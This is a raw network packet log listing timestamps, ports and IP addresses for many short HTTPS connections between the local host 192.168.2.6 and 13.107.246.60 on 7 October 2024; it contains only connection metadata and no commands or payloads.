Oct 7, 2024 03:16:21.529470921 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.529654980 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.529670000 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.538067102 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.538208961 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.538352966 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.538412094 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.538429976 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.538441896 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.538448095 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.542743921 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.542777061 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.542879105 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.543009043 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.543025017 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.550139904 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.550296068 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.550365925 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.550585032 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.550596952 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.550843000 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.550854921 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.553488016 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.553515911 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.553854942 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.553854942 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.553903103 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.052866936 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.053477049 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.053515911 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.055983067 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.055989981 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.082206011 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.082937002 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.082962036 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.083615065 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.083622932 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.154259920 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.154315948 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.154539108 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.157299042 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.157299042 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.157313108 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.157318115 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.161242008 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.161277056 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.161530972 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.161832094 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.161848068 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.178353071 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.179002047 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.179013968 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.179735899 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.179743052 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.180883884 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.181015968 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.181233883 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.181233883 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.181318998 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.181333065 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.185400009 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.185432911 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.185482025 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.185825109 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.185842991 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.194358110 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.194799900 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.194819927 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.195780039 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.195790052 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.203114033 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.203510046 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.203535080 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.203994036 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.204003096 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.279772997 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.279865026 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.280049086 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.280294895 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.280320883 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.280335903 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.280344009 CEST	443	49792	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.284025908 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.284137964 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.284224987 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.284425020 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.284460068 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.296861887 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.297009945 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.297163963 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.297291994 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.297291994 CEST	49793	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.297306061 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.297313929 CEST	443	49793	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.299741030 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.299776077 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.299843073 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.299988031 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.300007105 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.304573059 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.304703951 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.304780960 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.304956913 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.304956913 CEST	49794	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.304964066 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.304970980 CEST	443	49794	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.310376883 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.310429096 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.310488939 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.311683893 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.311703920 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.800837994 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.801413059 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.801445961 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.802160978 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.802167892 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.865243912 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.865870953 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.865916967 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.866375923 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.866389036 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.900629044 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.900690079 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.901189089 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.901228905 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.901228905 CEST	49795	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.901251078 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.901263952 CEST	443	49795	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.904500961 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.904534101 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.904737949 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.904886007 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.904901981 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.952388048 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.952809095 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.952872992 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.953291893 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.953308105 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.957084894 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.957334995 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.957350969 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.957789898 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.957799911 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.970500946 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.970546007 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.970689058 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.970753908 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.970810890 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.970848083 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.970874071 CEST	49796	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.970890045 CEST	443	49796	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.973371029 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.973401070 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.973584890 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.973700047 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.973716974 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.980333090 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.980945110 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.980978012 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:22.981431961 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:22.981441021 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.052516937 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.052671909 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.052752018 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.052922964 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.052962065 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.052988052 CEST	49798	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.053003073 CEST	443	49798	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.056085110 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.056128979 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.056278944 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.056435108 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.056448936 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.062088013 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.062155962 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.062304020 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.062381029 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.062381029 CEST	49797	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.062402964 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.062432051 CEST	443	49797	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.064553022 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.064589024 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.064666033 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.064783096 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.064800024 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.083226919 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.083273888 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.083417892 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.083484888 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.083524942 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.083524942 CEST	49799	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.083547115 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.083569050 CEST	443	49799	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.085411072 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.085464001 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.085997105 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.086098909 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.086122990 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.567722082 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.568339109 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.568360090 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.568890095 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.568895102 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.657814980 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.658420086 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.658430099 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.658941984 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.658946991 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.677022934 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.677048922 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.677088976 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.677129984 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.677154064 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.677423000 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.677434921 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.677444935 CEST	49800	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.677449942 CEST	443	49800	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.681014061 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.681041956 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.681111097 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.681283951 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.681297064 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.694036007 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.694535971 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.694561958 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.695091963 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.695106983 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.710999966 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.711455107 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.711464882 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.712109089 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.712111950 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.722835064 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.723232985 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.723251104 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.723666906 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.723673105 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.762876034 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.762927055 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.763040066 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.763050079 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.763118029 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.763250113 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.763288021 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.763288021 CEST	49801	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.763303041 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.763305902 CEST	443	49801	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.766432047 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.766468048 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.766541004 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.766661882 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.766670942 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.792972088 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.793029070 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.793123007 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.793299913 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.793311119 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.793489933 CEST	49802	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.793497086 CEST	443	49802	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.795823097 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.795845032 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.795907021 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.796022892 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.796039104 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.816773891 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.816947937 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.817009926 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.817055941 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.817065954 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.817122936 CEST	49803	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.817127943 CEST	443	49803	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.819678068 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.819756031 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.819833994 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.819989920 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.820024967 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.821409941 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.821571112 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.821624041 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.821660042 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.821666956 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.821681976 CEST	49804	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.821686983 CEST	443	49804	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.823864937 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.823921919 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:23.824131966 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.824131966 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:23.824177980 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.336765051 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.338010073 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.338033915 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.338740110 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.338746071 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.431619883 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.432235956 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.432246923 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.432823896 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.432827950 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.437658072 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.437681913 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.437788010 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.437841892 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.438098907 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.438111067 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.438119888 CEST	49805	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.438126087 CEST	443	49805	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.438133001 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.438153982 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.438688040 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.438694954 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.441469908 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.441519022 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.441582918 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.441711903 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.441731930 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.484760046 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.485122919 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.485141993 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.485591888 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.485599041 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.520857096 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.521507978 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.521569967 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.522039890 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.522053003 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.531574965 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.531752110 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.531930923 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.531955957 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.531972885 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.531986952 CEST	49806	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.531992912 CEST	443	49806	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.534964085 CEST	49811	443	192.168.2.6	13.107.246.60
